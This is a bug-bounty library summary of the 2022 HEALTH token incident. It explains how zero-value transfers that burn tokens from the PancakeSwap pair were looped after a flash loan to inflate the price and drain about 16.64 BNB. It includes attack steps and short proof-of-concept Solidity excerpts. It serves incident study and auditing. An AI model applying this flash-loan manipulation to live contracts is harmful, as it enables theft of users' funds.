# HEALTH token: zero-transfer burn inflates pair price

HEALTH token's _transfer burns tokens from the pair on zero-value transfers, inflating price; attacker flash-loaned WBNB to drain ~16.64 BNB.

- Payout: Real-world hack
- Severity: high
- Program: HEALTH
- Analysis by: DeFiHackLabs
- Disclosed: 2022-10-20
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-10/HEALTH_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20221020-health
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:source-review vuln:business-logic vuln:flash-loan

**Target:** BEP-20 token _transfer function and PancakeSwap WBNB/HEALTH pair
**Root cause:** The _transfer() function burns HEALTH tokens from the liquidity pair when a transfer is made, including zero-value transfers, reducing pair reserves and inflating the token price.
**Steps:**
1. Flash-loan 40 WBNB from DODO DVM.
2. Swap all WBNB to HEALTH via PancakeSwap router.
3. Call `HEALTH_TOKEN.transfer(address(this), 0)` 1000 times, each burning HEALTH from the pair and raising price.
4. Swap all HEALTH back to WBNB via PancakeSwap router.
5. Repay 40 WBNB flash loan and keep profit.
**How found:** Likely identified that the token's _transfer function burns tokens from the pair on every transfer, including zero-amount transfers, enabling repeated price manipulation.
**Exploitation:** Attacker flash-loaned 40 WBNB, bought HEALTH, repeatedly triggered the burn logic with zero-value transfers to inflate HEALTH price, then sold HEALTH for WBNB, repaid the loan, and kept ~16.64 BNB profit.
**Insight:** Look for token transfer hooks that burn or fee from the pair on zero-value transfers; such logic can be looped to manipulate AMM reserves without capital.

## Proof of concept (copied exactly from the original report)

**Zero-transfer loop burning HEALTH from pair**

```
for (uint256 i = 0; i < 1000; i++) {
            HEALTH_TOKEN.transfer(address(this), 0);
        }
```

**Flashloan-triggered exploit test function**

```
function testExploit() public {
        emit log_named_decimal_uint(
            "[Start] Attacker WBNB balance before exploit", WBNB_TOKEN.balanceOf(address(this)), 18
        );

        // Approving PancakeSwap router to spend attacker's WBNB and HEALTH
        WBNB_TOKEN.approve(address(PS_ROUTER), type(uint256).max);
        HEALTH_TOKEN.approve(address(PS_ROUTER), type(uint256).max);

        // Requesting 40 WBNB via flashloan from DODO DVM. Payload is in the callback (DPPFlashLoanCall).
        DVM(DODO_DVM).flashLoan(40 * 1e18, 0, address(this), new bytes(1));
```